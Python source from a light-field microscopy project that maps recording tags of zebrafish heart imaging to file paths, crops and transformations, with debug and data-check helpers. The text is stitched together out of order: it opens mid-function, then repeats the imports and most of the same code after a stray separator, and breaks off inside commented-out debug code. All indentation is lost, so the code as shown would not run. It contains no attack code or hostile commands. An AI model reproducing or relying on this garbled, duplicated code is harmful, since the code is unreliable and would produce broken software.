location = f"LF_partially_restored/LenseLeNet_Microscope/20191203_dynamic_staticHeart_tuesday/fish1/dynamic/fast_cropped_6ms_SinglePlaneValidation/{tag}/stack_{stack}_channel_{channel}/"
if name == "lf":
location += "TP_*/RC_rectified/Cam_Right_*_rectified.tif"
elif name == "lr":
location = location.replace("LF_partially_restored/", "/scratch/")
location += "TP_*/RCout/Cam_Right_*.tif"
elif name == "ls_slice":
location += "Cam_Left_*.h5/Data"
samples_per_dataset = 500
plane = int(tag.split("/")[0].split("_")[1])
z_slice = idx2z_slice_241(plane)
else:
raise NotImplementedError(tag)
if location is None or location.endswith("/"):
raise NotImplementedError(f"tag: {tag}, name: {name}")
assert tag.replace("_short", "") in location or tag == "2019-12-09_04.54.38", (tag, name, location)
tag = tag.replace("/", "_")
if "crop_names" in meta:
assert crop_name in meta["crop_names"], (crop_name, meta["crop_names"])
if "crop_name" in meta:
assert meta["crop_name"] == crop_name, (meta["crop_name"], crop_name)
else:
meta["crop_name"] = crop_name
return TensorInfo(
name=name,
root=root,
location=location,
insert_singleton_axes_at=insert_singleton_axes_at,
transforms=transformations,
z_slice=z_slice,
samples_per_dataset=samples_per_dataset,
repeat=repeat,
tag=tag.replace("-", "").replace(".", ""),
meta=meta,
)
def debug():
tight_heart_bdv = [
[
0.97945,
0.0048391,
-0.096309,
-88.5296,
-0.0074754,
0.98139,
0.15814,
-91.235,
0.016076,
0.0061465,
4.0499,
-102.0931,
]
]
def get_vol_trf(name: str):
return [
{
"Resize": {
"apply_to": name,
"shape": [1.0, 1.0, 0.21052631578947368421052631578947, 0.21052631578947368421052631578947],
# "shape": [1.0, 1.0, 0.42105263157894736842105263157895, 0.42105263157894736842105263157895],
"order": 2,
}
}
]
# ds_ls = get_dataset_from_info(f20191209_081940_ls, transformations=get_vol_trf("ls"), cache=True, indices=[0])
# print("len ls", len(ds_ls))
# ds_ls_trf = get_dataset_from_info(
# f20191209_081940_ls_trf, transformations=get_vol_trf("ls_trf"), cache=True, indices=[0]
# )
# print("len ls_trf", len(ds_ls_trf))
# ds_ls_trf = get_dataset_from_info(
# f20191209_081940_ls_trf, transformations=[], cache=True, indices=[0]
# )
# ds_ls_tif = get_dataset_from_info(
# f20191209_081940_ls_tif, transformations=get_vol_trf("ls_tif"), cache=True, indices=[0]
# )
# print("len ls tif", len(ds_ls_tif))
# slice_indices = [0, 1, 2, 3, 4, 40, 80, 120, 160, 200, 240]
# ds_ls_slice = get_dataset_from_info(
# f20191209_081940_ls_slice, transformations=get_vol_trf("ls_slice"), cache=True, indices=slice_indices
# )
# print("len ls_tif", len(ds))
# ls_tif = ds[0]["ls_tif"]
# print("ls_tif", ls_tif.shape)
#
# print("diff max", ls.max(), ls_tif.max())
# print("max diff", (ls - ls_tif).max())
#
#
# plt.imshow(ls[0, 0].max(0))
# plt.title("ls0")
# plt.show()
# plt.imshow(ls[0, 0].max(1))
# plt.title("ls1")
# plt.show()
#
# plt.imshow(ls_tif[0, 0].max(0))
# plt.title("ls_tif0")
# plt.show()
# plt.imshow(ls_tif[0, 0].max(1))
# plt.title("ls_tif1")
# plt.show()
# ds_lr = get_dataset_from_info(f20191209_081940_lr, transformations=get_vol_trf("lr"), cache=False, indices=[0])
# print("len ds_lr", len(ds_lr))
# ds_lr_repeat = get_dataset_from_info(
# f20191209_081940_lr_repeat, transformations=get_vol_trf("lr"), cache=True, indices=slice_indices
# )
# print("len ds_lr_repeat", len(ds_lr_repeat))
# ds_zip_slice = ZipDataset(
# datasets={"lr": ds_lr_repeat, "ls_slice": ds_ls_slice},
# transformation=AffineTransformation(
# apply_to={"lr": "lr_trf"},
# target_to_compare_to="ls_slice",
# order=2,
# ref_input_shape=[838, 1273, 1463],
# bdv_affine_transformations=tight_heart_bdv,
# ref_output_shape=[241, 1451, 1651],
# ref_crop_in=[[0, None], [0, None], [0, None]],
# ref_crop_out=[[0, None], [0, None], [0, None]],
# inverted=False,
# padding_mode="border",
# ),
# )
# ds_zip = ZipDataset(
# datasets={"ls": ds_ls, "lr": ds_lr, "ls_tif": ds_ls_tif},
# # transformation=AffineTransformation(
# # apply_to={"lr": "lr_trf"},
# # target_to_compare_to="ls",
# # order=2,
# # ref_input_shape=[838, 1273, 1463],
# # bdv_affine_transformations=tight_heart_bdv,
# # ref_output_shape=[241, 1451, 1651],
# # ref_crop_in=[[0, None], [0, None], [0, None]],
# # ref_crop_out=[[0, None], [0, None], [0, None]],
# # inverted=False,
# # padding_mode="border",
# # ),
# )
# sample = ds_zip[0]
# ds_zip = ZipDataset(datasets={"ls_trf": ds_ls_trf, "lr": ds_lr})
# sample = ds_zip[0]
# def save_vol(name):
# vol = sample[name]
# imageio.volwrite(f"/g/kreshuk/LF_computed/lnet/debug_affine_fish_trf/{name}.tif", numpy.squeeze(vol))
#
# def plot_vol(name):
# vol = sample[name]
# fig, ax = plt.subplots(2)
# for i in range(2):
# ax[i].imshow(vol[0, 0].max(i))
# ax[i].set_title(f"{name}_super_big{i}")
#
# plt.show()
#
# for name in ["ls_trf"]:
# save_vol(name)
# plot_vol(name)
# for idx in range(11):
# sample = ds_zip_slice[idx]
# fig, ax = plt.subplots(2)
# ax[0].imshow(sample["ls_slice"][0, 0, 0])
# ax[0].set_title(f"ls_slice idx: {idx} z: {sample["meta"][0]["ls_slice"]["z_slice"]}")
# ax[1].imshow(sample["lr_trf"][0, 0, 0])
# ax[1].set_title(f"lr_trf idx: {idx}")
# plt.show()
# def get_z_hist(ds: N5CachedDatasetFromInfoSubset):
# z_slices =
#
# numpy.histogram(a
def check_filter(tag: str, meta: dict):
lf_crops = {"Heart_tightCrop": [[0, None], [0, None], [0, None]], "wholeFOV": [[0, None], [0, None], [0, None]]}
# filters = [
# ("z_range", {}),
# ("signal2noise", {"apply_to": "ls_slice", "signal_percentile": 99.9, "noise_percentile": 5.0, "ratio": 1.5}),
# ]
filters = [
("z_range", {}),
("signal2noise", {"apply_to": "ls_slice", "signal_percentile": 99.99, "noise_percentile": 5.0, "ratio": 1.2}),
]
ds_unfiltered = get_dataset_from_info(get_tensor_info(tag, "ls_slice", meta=meta), cache=True)
print(" unfiltered", len(ds_unfiltered))
ds = get_dataset_from_info(get_tensor_info(tag, "ls_slice", meta=meta), cache=True, filters=filters)
print("ds filtered", len(ds))
filters = [
("z_range", {}),
("signal2noise", {"apply_to": "ls_slice", "signal_percentile": 99.9, "noise_percentile": 5.0, "ratio": 2.0}),
]
ds = get_dataset_from_info(get_tensor_info(tag, "ls_slice", meta=meta), cache=True, filters=filters)
print("ds filtered", len(ds))
def check_data(tag: str, meta: dict):
ls_slice = get_dataset_from_info(get_tensor_info(tag, "ls_slice", meta=meta), cache=True)
if meta["expected_scale"] == 4:
lf = get_dataset_from_info(get_tensor_info(tag, "lf", meta=meta), cache=True)
assert len(lf) == len(ls_slice), (tag, len(lf), len(ls_slice))
assert len(ls_slice) > 0, tag
print(tag, len(ls_slice))
# lf = lf[0]["lf"]
# ls = ls[0]["ls_slice"]
# print("\tlf", lf.shape)
# print("\tls", ls.shape)
# imageio.imwrite(f"/g/kreshuk/LF_computed/lnet/padded_lf_{tag}_pad_at_1.tif", lf[0, 0])
# path = Path(f"/g/kreshuk/LF_partially_restored/LenseLeNet_Microscope/20191202_staticHeart_dynamicHeart/data/{tag}/stack_1_channel_3/TP_00000/RC_rectified_cropped0/Cam_Right_001_rectified.tif")
# path.parent.mkdir(parents=True, exist_ok=True)
# imageio.imwrite(path, lf[0, 0])
def search_data():
path = Path(
"/g/kreshuk/LF_partially_restored/LenseLeNet_Microscope/20191203_dynamic_staticHeart_tuesday/fish1/dynamic/Heart_tightCrop/dynamicImaging1_btw20to160planes/2019-12-03_00.00.44/stack_1_channel_2"
)
for dir in path.glob("*/RC_rectified/"):
print(dir.parent.name, len(list(dir.glob("*.tif"))))
def get_tags():
with (Path(__file__).parent / "tags" / Path(__file__).with_suffix(".yml").name).open() as f:
return [tag.strip() for tag in yaml.safe_load(f)]
def quick_check_all(meta: dict):
# tags = get_tags()
# tags = ["2019-12-02_23.17.56", "2019-12-02_23.43.24", "2019-12-02_23.50.04", "2019-12-02_04.12.36_10msExp"]
# tags = ["2019-12-09_04.54.38", "2019-12-09_05.21.16", "2019-12-09_05.41.14_theGoldenOne", "plane_100/2019-12-09_05.55.26"]
# tags = ["2019-12-02_04.12.36_10msExp"]
tags = [
# "2019-12-02_04.12.36_10msExp", # fish4 quality 4
# "2019-12-02_23.17.56", # fish4 quality 3
# "2019-12-02_23.43.24", # fish4 quality 3
# "2019-12-02_23.50.04", # fish4 quality 3
# "2019-12-03_00.00.44", # fish4 at the moment only with 5ms exp time, 10ms coming
# "2019-12-08_23.43.42", # fish1 quality 1
"2019-12-09_04.54.38", # fish2 test
# "2019-12-09_05.21.16", # fish2 test
# "2019-12-09_05.41.14_theGoldenOne", # fish2 test
# "plane_100/2019-12-09_05.55.26", # fish2 test
# "plane_120/2019-12-09_05.53.55",
# "2019-12-09_23.10.02", # fish3
# "2019-12-09_23.17.30", # fish3
# "2019-12-09_23.19.41", # fish3
# "2019-12-10_00.40.09", # fish3
# "2019-12-10_00.51.54", # fish3
# "2019-12-10_01.03.50", # fish3
# "2019-12-10_01.25.44", # fish3
# "2019-12-10_02.13.34", # fish3
# "plane_080/2019-12-09_04.02.24_5ms",
# "plane_080/2019-12-09_04.05.07_irisOpenedComplete_10ms",
# "plane_100/2019-12-09_03.44.34_5ms",
# "plane_100/2019-12-09_03.46.56_10ms",
# "plane_120/2019-12-09_03.41.23_5ms",
# "plane_120/2019-12-09_03.42.18_10ms",
# "plane_140/2019-12-09_03.55.51_5ms",
# "plane_140/2019-12-09_03.56.44_10ms",
# "plane_160/2019-12-09_03.58.24_5ms",
# "plane_160/2019-12-09_03.58.24_10ms",
# "plane_160/2019-12-09_03.59.45_5ms",
# "plane_160/2019-12-09_03.59.45_10ms",
]
for tag in tags:
try:
lf = get_dataset_from_info(get_tensor_info(tag, "lf", meta=meta), cache=False)
except Exception as e:
print(tag, e)
lf = []
try:
ls_slice = get_dataset_from_info(get_tensor_info(tag, "ls_slice", meta=meta), cache=False)
except Exception as e:
print(tag, e)
ls_slice = []
try:
lr_slice = get_dataset_from_info(get_tensor_info(tag, "lr_slice", meta=meta), cache=False)
except Exception as e:
print(tag, e)
lr_slice = []
if len(lf) != len(ls_slice) or len(lf) != len(lr_slice) or len(ls_slice) == 0:
print(tag, len(lf), len(ls_slice), len(lr_slice))
else:
print(tag, len(lf))
# check_filter(tag, meta=meta)
if __name__ == "__main__":
quick_check_all(
meta={
"z_out": 49,
"nnum": 19,
"interpolation_order": 2,
"expected_scale": 4,
"z_ls_rescaled": 241,
"pred_z_min": 0,
"pred_z_max": 838,
}
)
| import argparse
from pathlib import Path
import imageio
import yaml
import warnings
from hylfm.datasets.base import TensorInfo, get_dataset_from_info, N5CachedDatasetFromInfoSubset
from hylfm.datasets.heart_utils import get_transformations, idx2z_slice_241
def get_tensor_info(tag: str, name: str, meta: dict):
meta = dict(meta)
assert "z_out" in meta
assert "nnum" in meta
assert "interpolation_order" in meta
assert "scale" in meta
assert "z_ls_rescaled" in meta
assert "pred_z_min" in meta
assert "pred_z_max" in meta
root = "GKRESHUK"
insert_singleton_axes_at = [0, 0]
z_slice = None
samples_per_dataset = 1
if "_repeat" in name:
name, repeat = name.split("_repeat")
repeat = int(repeat)
else:
repeat = 1
# data quality:
# 4 amazing
# 3 very good
# 2 good
# 1 blurry
meta["quality"] = 2
if tag in ["2019-12-02_04.12.36_10msExp", "2019-12-02_03.44.01_5msExp"]:
transformations = []
meta["quality"] = 4
stack, channel = {"2019-12-02_04.12.36_10msExp": (1, 3), "2019-12-02_03.44.01_5msExp": (1, 2)}[tag]
location = f"LF_partially_restored/LenseLeNet_Microscope/20191202_staticHeart_dynamicHeart/data/{tag}/stack_{stack}_channel_{channel}/"
if name == "lf":
location += "TP_*/RC_rectified/Cam_Right_*_rectified.tif"
transformations += [{"Crop": {"apply_to": name, "crop": [(0, None), (19, None), (0, None)]}}]
# elif name == "lr":
# location = location.replace("LF_partially_restored/", "LF_computed/")
# location += "TP_*/RCout/Cam_Right_*.tif"
# transformations += [{"Crop": {"apply_to": name, "crop": [(0, None), (0, None), (19, None), (0, None)]}}]
elif name == "fake_ls":
location += "Cam_Left_*.h5/Data"
elif name == "ls_slice":
location += "Cam_Left_*.h5/Data"
samples_per_dataset = 241
z_slice = idx2z_slice_241
crop_name = "wholeFOV"
transformations += get_transformations(name, crop_name, meta=meta)
elif tag in ["2019-12-02_04.12.36_10msExp_short"]:
transformations = []
meta["quality"] = 4
location = f"LF_partially_restored/LenseLeNet_Microscope/20191202_staticHeart_dynamicHeart/data/{tag.replace('_short', '')}/stack_1_channel_3/"
if name == "lf":
location += "TP_00000/RC_rectified/Cam_Right_*_rectified.tif"
transformations += [{"Crop": {"apply_to": name, "crop": [(0, None), (19, None), (0, None)]}}]
elif name == "lr":
location = location.replace("LF_partially_restored/", "LF_computed/")
location += "TP_00000/RCout/Cam_Right_*.tif"
transformations += [{"Crop": {"apply_to": name, "crop": [(0, None), (0, None), (19, None), (0, None)]}}]
elif name == "fake_ls":
location += "Cam_Left_00000.h5/Data"
elif name == "ls_slice":
location += "Cam_Left_00000.h5/Data"
samples_per_dataset = 241
z_slice = idx2z_slice_241
crop_name = "wholeFOV"
transformations += get_transformations(name, crop_name, meta=meta)
elif tag in ["2019-12-02_23.17.56", "2019-12-02_23.43.24", "2019-12-02_23.50.04", "2019-12-03_00.00.44"]:
if tag == "2019-12-03_00.00.44":
raise NotImplementedError("check crop and if 10ms is really there now...")
# if tag == "2019-12-03_00.00.44":
# raise NotImplementedError("10ms is coming, only 5ms available:")
# location = location.replace("stack_1_channel_3", "stack_1_channel_2")
meta["quality"] = 3
location = f"LF_partially_restored/LenseLeNet_Microscope/20191203_dynamic_staticHeart_tuesday/fish1/dynamic/Heart_tightCrop/dynamicImaging1_btw20to160planes/{tag}/stack_1_channel_3/"
if tag in ["2019-12-02_23.43.24", "2019-12-02_23.50.04", "2019-12-03_00.00.44"]:
if name == "lf":
padding = [
{
"Pad": {
"apply_to": name,
"pad_width": [[0, 0], [0, 1], [0, 0]],
"pad_mode": "lenslets",
"nnum": meta["nnum"],
}
}
]
elif name == "lr":
raise NotImplementedError("padding for lr")
else:
padding = []
else:
padding = []
crop_name = "Heart_tightCrop"
transformations = padding + get_transformations(name, crop_name, meta=meta)
if name == "lf":
location += "TP_*/RC_rectified/Cam_Right_*_rectified.tif"
# elif name == "lr":
# location = location.replace("LF_partially_restored/", "LF_computed/")
# location += "TP_*/RCout/Cam_Right_*.tif"
elif name == "ls_slice":
location += "Cam_Left_*.h5/Data"
samples_per_dataset = 241
z_slice = idx2z_slice_241
else:
raise NotImplementedError(name)
elif tag in ["2019-12-08_23.43.42"]:
meta["quality"] = 1
crop_name = "Heart_tightCrop"
transformations = get_transformations(name, crop_name, meta=meta)
location = f"LF_partially_restored/LenseLeNet_Microscope/20191208_dynamic_static_heart/fish1/dynamic/Heart_tightCrop/SlideThroughCompleteStack/{tag}/stack_1_channel_3/"
if name == "lf":
location += "TP_*/RC_rectified/Cam_Right_*_rectified.tif"
# elif name == "lr":
# location = location.replace("LF_partially_restored/", "LF_computed/")
# location += "TP_*/RCout/Cam_Right_*.tif"
elif name == "ls_slice":
location += "Cam_Left_*.h5/Data"
samples_per_dataset = 241
z_slice = idx2z_slice_241
elif tag in ["2019-12-09_04.54.38", "2019-12-09_05.21.16"]:
crop_name = "Heart_tightCrop"
transformations = get_transformations(name, crop_name, meta=meta)
location = f"LF_partially_restored/LenseLeNet_Microscope/20191208_dynamic_static_heart/fish2/dynamic/Heart_tightCrop/{tag}/stack_1_channel_3/"
if name == "lf":
location += "TP_*/RC_rectified/Cam_Right_*_rectified.tif"
elif name in ["lr", "lfd"]:
if tag == "2019-12-09_04.54.38":
location = "/scratch/Nils/LF_computed/TP*/RCout/Cam_Right_*.tif"
else:
location = location.replace("LF_partially_restored/", "LF_computed/")
location += "TP_*/RCout/Cam_Right_*.tif"
elif name == "ls_slice":
location += "Cam_Left_*.h5/Data"
samples_per_dataset = 241
z_slice = idx2z_slice_241
elif tag in ["2019-12-09_04.54.38_short"]: # "2019-12-09_05.21.16_short"
crop_name = "Heart_tightCrop"
transformations = get_transformations(name, crop_name, meta=meta)
location = f"LF_partially_restored/LenseLeNet_Microscope/20191208_dynamic_static_heart/fish2/dynamic/Heart_tightCrop/{tag.replace('_short', '')}/stack_1_channel_3/"
if name == "lf":
location += "TP_00000/RC_rectified/Cam_Right_*_rectified.tif"
elif name == "lr":
location = location.replace("LF_partially_restored/", "LF_computed/")
location += "TP_00000/RCout/Cam_Right_*.tif"
elif name == "ls_slice":
location += "Cam_Left_00000.h5/Data"
samples_per_dataset = 241
z_slice = idx2z_slice_241
elif tag in ["2019-12-09_05.41.14_theGoldenOne"]:
crop_name = "Heart_tightCrop"
transformations = get_transformations(name, crop_name, meta=meta)
location = f"LF_partially_restored/LenseLeNet_Microscope/20191208_dynamic_static_heart/fish2/dynamic/Heart_tightCrop/{tag}/stack_1_channel_3/"
if name == "lf":
location += "TP_*/RC_rectified/Cam_Right_*_rectified.tif"
# elif name == "lr":
# location = location.replace("LF_partially_restored/", "LF_computed/")
# location += "TP_*/RCout/Cam_Right_*.tif"
elif name == "ls_slice":
location += "Cam_Left_*.h5/Data"
samples_per_dataset = 241
z_slice = idx2z_slice_241
elif tag in ["plane_100/2019-12-09_05.55.26", "plane_120/2019-12-09_05.53.55"]:
crop_name = "Heart_tightCrop"
transformations = get_transformations(name, crop_name, meta=meta)
location = f"LF_partially_restored/LenseLeNet_Microscope/20191208_dynamic_static_heart/fish2/dynamic/Heart_tightCrop/2019-12-09_05.41.14_theGoldenOne/singlePlane_samePos/{tag}/stack_2_channel_3/"
if name == "lf":
location += "TP_*/RC_rectified/Cam_Right_*_rectified.tif"
elif name == "lr":
location = location.replace("LF_partially_restored/", "LF_computed/")
location += "TP_*/RCout/Cam_Right_*.tif"
elif name == "ls_slice":
location += "Cam_Left_*.h5/Data"
samples_per_dataset = 200
plane = int(tag.split("/")[0].split("_")[1])
z_slice = idx2z_slice_241(plane)
elif tag in ["plane_100/2019-12-09_05.55.26_short", "plane_120/2019-12-09_05.53.55_short"]:
crop_name = "Heart_tightCrop"
transformations = get_transformations(name, crop_name, meta=meta)
location = f"LF_partially_restored/LenseLeNet_Microscope/20191208_dynamic_static_heart/fish2/dynamic/Heart_tightCrop/2019-12-09_05.41.14_theGoldenOne/singlePlane_samePos/{tag.replace('_short', '')}/stack_2_channel_3/"
if name == "lf":
location += "TP_00000/RC_rectified/Cam_Right_*_rectified.tif"
elif name == "lr":
location = location.replace("LF_partially_restored/", "LF_computed/")
location += "TP_00000/RCout/Cam_Right_*.tif"
elif name == "ls_slice":
location += "*Cam_Left_00000.h5/Data"
samples_per_dataset = 200
plane = int(tag.split("/")[0].split("_")[1])
z_slice = idx2z_slice_241(plane)
elif tag in [
"2019-12-09_23.10.02",
"2019-12-09_23.17.30",
"2019-12-09_23.19.41",
"2019-12-10_00.40.09",
"2019-12-10_00.51.54",
"2019-12-10_01.03.50",
"2019-12-10_01.25.44",
]:
crop_name = "Heart_tightCrop"
transformations = get_transformations(name, crop_name, meta=meta)
location = f"LF_partially_restored/LenseLeNet_Microscope/20191208_dynamic_static_heart/fish3/dynamic/Heart_tightCrop/slideThroughStack/{tag}/stack_1_channel_3/"
if name == "lf":
location += "TP_*/RC_rectified/Cam_Right_*_rectified.tif"
# elif name == "lr":
# location = location.replace("LF_partially_restored/", "LF_computed/")
# location += "TP_*/RCout/Cam_Right_*.tif"
elif name == "ls_slice":
location += "Cam_Left_*.h5/Data"
samples_per_dataset = 241
z_slice = idx2z_slice_241
elif tag in ["2019-12-10_02.13.34"]:
crop_name = "Heart_tightCrop"
transformations = get_transformations(name, crop_name, meta=meta)
location = f"LF_partially_restored/LenseLeNet_Microscope/20191208_dynamic_static_heart/fish3/dynamic/Heart_tightCrop/theGoldenExperiment/SlidingThroughStack_samePos/{tag}/stack_1_channel_3/"
if name == "lf":
location += "TP_*/RC_rectified/Cam_Right_*_rectified.tif"
# elif name == "lr":
# location = location.replace("LF_partially_restored/", "LF_computed/")
# location += "TP_*/RCout/Cam_Right_*.tif"
elif name == "ls_slice":
location += "Cam_Left_*.h5/Data"
samples_per_dataset = 241
z_slice = idx2z_slice_241
elif tag in [
"plane_090/2019-12-09_04.26.13_5ms",
"plane_090/2019-12-09_04.26.13_10ms",
"plane_090/2019-12-09_04.26.55_5ms",
"plane_090/2019-12-09_04.26.55_10ms",
"plane_090/2019-12-09_04.28.03_5ms",
"plane_090/2019-12-09_04.28.03_10ms",
"plane_120/2019-12-09_04.10.59_5ms",
"plane_120/2019-12-09_04.10.59_10ms",
"plane_120/2019-12-09_04.11.56_5ms",
"plane_120/2019-12-09_04.11.56_10ms",
"plane_120/2019-12-09_04.13.01_5ms",
"plane_120/2019-12-09_04.13.01_10ms",
"plane_150/2019-12-09_04.23.37_5ms",
"plane_150/2019-12-09_04.23.37_10ms",
"plane_150/2019-12-09_04.24.22_5ms",
"plane_150/2019-12-09_04.24.22_10ms",
]:
crop_name = "fast_cropped_8ms"
transformations = get_transformations(name, crop_name, meta=meta)
if tag.endswith("_5ms"):
stack, channel = (2, 11)
elif tag.endswith("_10ms"):
stack, channel = (2, 10)
else:
raise NotImplementedError(tag)
tag = tag.replace("_5ms", "").replace("_10ms", "")
location = f"LF_partially_restored/LenseLeNet_Microscope/20191208_dynamic_static_heart/fish2/dynamic/fast_cropped_8ms/singlePlanes/fullyOpenIris/{tag}/stack_{stack}_channel_{channel}/"
if name == "lf":
location += "TP_*/RC_rectified/Cam_Right_*_rectified.tif"
# elif name == "lr":
# location = location.replace("LF_partially_restored/", "LF_computed/")
# location += "TP_*/RCout/Cam_Right_*.tif"
elif name == "ls_slice":
location += "Cam_Left_*.h5/Data"
samples_per_dataset = 200
plane = int(tag.split("/")[0].split("_")[1])
z_slice = idx2z_slice_241(plane)
elif tag in [
"plane_080/2019-12-09_04.02.24_5ms",
"plane_080/2019-12-09_04.02.24_10ms",
"plane_080/2019-12-09_04.05.07_irisOpenedComplete_5ms",
"plane_080/2019-12-09_04.05.07_irisOpenedComplete_10ms",
"plane_100/2019-12-09_03.44.34_5ms",
"plane_100/2019-12-09_03.44.34_10ms",
"plane_100/2019-12-09_03.46.56_5ms",
"plane_100/2019-12-09_03.46.56_10ms",
"plane_120/2019-12-09_03.41.23_5ms",
"plane_120/2019-12-09_03.41.23_10ms",
"plane_120/2019-12-09_03.42.18_5ms",
"plane_120/2019-12-09_03.42.18_10ms",
"plane_140/2019-12-09_03.55.51_5ms",
"plane_140/2019-12-09_03.55.51_10ms",
"plane_140/2019-12-09_03.56.44_5ms",
"plane_140/2019-12-09_03.56.44_10ms",
"plane_160/2019-12-09_03.58.24_5ms",
"plane_160/2019-12-09_03.58.24_10ms",
"plane_160/2019-12-09_03.59.45_5ms",
"plane_160/2019-12-09_03.59.45_10ms",
]:
crop_name = "fast_cropped_8ms"
transformations = get_transformations(name, crop_name, meta=meta)
if tag.endswith("_5ms"):
stack, channel = (2, 11)
elif tag.endswith("_10ms"):
stack, channel = (2, 10)
else:
raise NotImplementedError(tag)
tag = tag.replace("_5ms", "").replace("_10ms", "")
location = f"LF_partially_restored/LenseLeNet_Microscope/20191208_dynamic_static_heart/fish2/dynamic/fast_cropped_8ms/singlePlanes/{tag}/stack_{stack}_channel_{channel}/"
if name == "lf":
location += "TP_*/RC_rectified/Cam_Right_*_rectified.tif"
elif name == "lr":
location = location.replace("LF_partially_restored/", "LF_computed/")
location += "TP_*/RCout/Cam_Right_*.tif"
elif name == "ls_slice":
location += "Cam_Left_*.h5/Data"
samples_per_dataset = 200
plane = int(tag.split("/")[0].split("_")[1])
z_slice = idx2z_slice_241(plane)
elif tag in [
"plane_020/2019-12-03_02.19.20_125Hz",
"plane_020/2019-12-03_02.19.20_100Hz",
"plane_040/2019-12-03_02.16.43_125Hz",
"plane_040/2019-12-03_02.16.43_100Hz",
"plane_060/2019-12-03_02.14.24_125Hz",
"plane_060/2019-12-03_02.14.24_100Hz",
"plane_080/2019-12-03_02.12.08_125Hz",
"plane_080/2019-12-03_02.12.08_100Hz",
"plane_080/pos2/2019-12-03_02.47.30_125Hz",
"plane_080/pos2/2019-12-03_02.47.30_100Hz",
"plane_100/2019-12-03_02.09.03_125Hz",
"plane_100/2019-12-03_02.09.03_100Hz",
"plane_120/2019-12-03_01.57.26_125Hz",
"plane_120/2019-12-03_01.57.26_100Hz",
"plane_140/2019-12-03_02.23.56_125Hz",
"plane_140/2019-12-03_02.23.56_100Hz",
"plane_160/2019-12-03_02.26.32_125Hz",
"plane_160/2019-12-03_02.26.32_100Hz",
"plane_165/2019-12-03_02.33.46_125Hz",
"plane_165/2019-12-03_02.33.46_100Hz",
"plane_165_refocused/2019-12-03_02.38.29_125Hz",
"plane_165_refocused/2019-12-03_02.38.29_100Hz",
]:
crop_name = "fast_cropped_6ms"
transformations = get_transformations(name, crop_name, meta=meta)
if tag.endswith("_125Hz"):
stack, channel = (2, 8)
elif tag.endswith("_100Hz"):
stack, channel = (2, 9)
else:
raise NotImplementedError(tag)
if tag == "plane_100/2019-12-03_02.09.03_125Hz":
if name == "lf":
transformations.insert(0, {"Crop": {"apply_to": name, "crop": [(0, None), (0, 931), (0, None)]}})
elif name == "lr":
transformations.insert(
0, {"Crop": {"apply_to": name, "crop": [(0, None), (0, None), (0, 931), (0, None)]}}
)
tag = tag.replace("_125Hz", "").replace("_100Hz", "")
location = f"LF_partially_restored/LenseLeNet_Microscope/20191203_dynamic_staticHeart_tuesday/fish1/dynamic/fast_cropped_6ms_SinglePlaneValidation/{tag}/stack_{stack}_channel_{channel}/"
if name == "lf":
location += "TP_*/RC_rectified/Cam_Right_*_rectified.tif"
elif name == "lr":
location = location.replace("LF_partially_restored/", "/scratch/")
location += "TP_*/RCout/Cam_Right_*.tif"
elif name == "ls_slice":
location += "Cam_Left_*.h5/Data"
samples_per_dataset = 500
plane = int(tag.split("/")[0].split("_")[1])
z_slice = idx2z_slice_241(plane)
else:
raise NotImplementedError(tag)
if location is None or location.endswith("/"):
raise NotImplementedError(f"tag: {tag}, name: {name}")
assert tag.replace("_short", "") in location or tag == "2019-12-09_04.54.38", (tag, name, location)
tag = tag.replace("/", "_")
if "crop_names" in meta:
assert crop_name in meta["crop_names"], (crop_name, meta["crop_names"])
if "crop_name" in meta:
assert meta["crop_name"] == crop_name, (meta["crop_name"], crop_name)
else:
meta["crop_name"] = crop_name
return TensorInfo(
name=name,
root=root,
location=location,
insert_singleton_axes_at=insert_singleton_axes_at,
transforms=transformations,
z_slice=z_slice,
samples_per_dataset=samples_per_dataset,
repeat=repeat,
tag=tag.replace("-", "").replace(".", ""),
meta=meta,
)
def debug():
tight_heart_bdv = [
[
0.97945,
0.0048391,
-0.096309,
-88.5296,
-0.0074754,
0.98139,
0.15814,
-91.235,
0.016076,
0.0061465,
4.0499,
-102.0931,
]
]
def get_vol_trf(name: str):
return [
{
"Resize": {
"apply_to": name,
"shape": [1.0, 1.0, 0.21052631578947368421052631578947, 0.21052631578947368421052631578947],
# "shape": [1.0, 1.0, 0.42105263157894736842105263157895, 0.42105263157894736842105263157895],
"order": 2,
}
}
]
# ds_ls = get_dataset_from_info(f20191209_081940_ls, transformations=get_vol_trf("ls"), cache=True, indices=[0])
# print("len ls", len(ds_ls))
# ds_ls_trf = get_dataset_from_info(
# f20191209_081940_ls_trf, transformations=get_vol_trf("ls_trf"), cache=True, indices=[0]
# )
# print("len ls_trf", len(ds_ls_trf))
# ds_ls_trf = get_dataset_from_info(
# f20191209_081940_ls_trf, transformations=[], cache=True, indices=[0]
# )
# ds_ls_tif = get_dataset_from_info(
# f20191209_081940_ls_tif, transformations=get_vol_trf("ls_tif"), cache=True, indices=[0]
# )
# print("len ls tif", len(ds_ls_tif))
# slice_indices = [0, 1, 2, 3, 4, 40, 80, 120, 160, 200, 240]
# ds_ls_slice = get_dataset_from_info(
# f20191209_081940_ls_slice, transformations=get_vol_trf("ls_slice"), cache=True, indices=slice_indices
# )
# print("len ls_tif", len(ds))
# ls_tif = ds[0]["ls_tif"]
# print("ls_tif", ls_tif.shape)
#
# print("diff max", ls.max(), ls_tif.max())
# print("max diff", (ls - ls_tif).max())
#
#
# plt.imshow(ls[0, 0].max(0))
# plt.title("ls0")
# plt.show()
# plt.imshow(ls[0, 0].max(1))
# plt.title("ls1")
# plt.show()
#
# plt.imshow(ls_tif[0, 0].max(0))
# plt.title("ls_tif0")
# plt.show()
# plt.imshow(ls_tif[0, 0].max(1))
# plt.title("ls_tif1")
# plt.show()
# ds_lr = get_dataset_from_info(f20191209_081940_lr, transformations=get_vol_trf("lr"), cache=False, indices=[0])
# print("len ds_lr", len(ds_lr))
# ds_lr_repeat = get_dataset_from_info(
# f20191209_081940_lr_repeat, transformations=get_vol_trf("lr"), cache=True, indices=slice_indices
# )
# print("len ds_lr_repeat", len(ds_lr_repeat))
# ds_zip_slice = ZipDataset(
# datasets={"lr": ds_lr_repeat, "ls_slice": ds_ls_slice},
# transformation=AffineTransformation(
# apply_to={"lr": "lr_trf"},
# target_to_compare_to="ls_slice",
# order=2,
# ref_input_shape=[838, 1273, 1463],
# bdv_affine_transformations=tight_heart_bdv,
# ref_output_shape=[241, 1451, 1651],
# ref_crop_in=[[0, None], [0, None], [0, None]],
# ref_crop_out=[[0, None], [0, None], [0, None]],
# inverted=False,
# padding_mode="border",
# ),
# )
# ds_zip = ZipDataset(
# datasets={"ls": ds_ls, "lr": ds_lr, "ls_tif": ds_ls_tif},
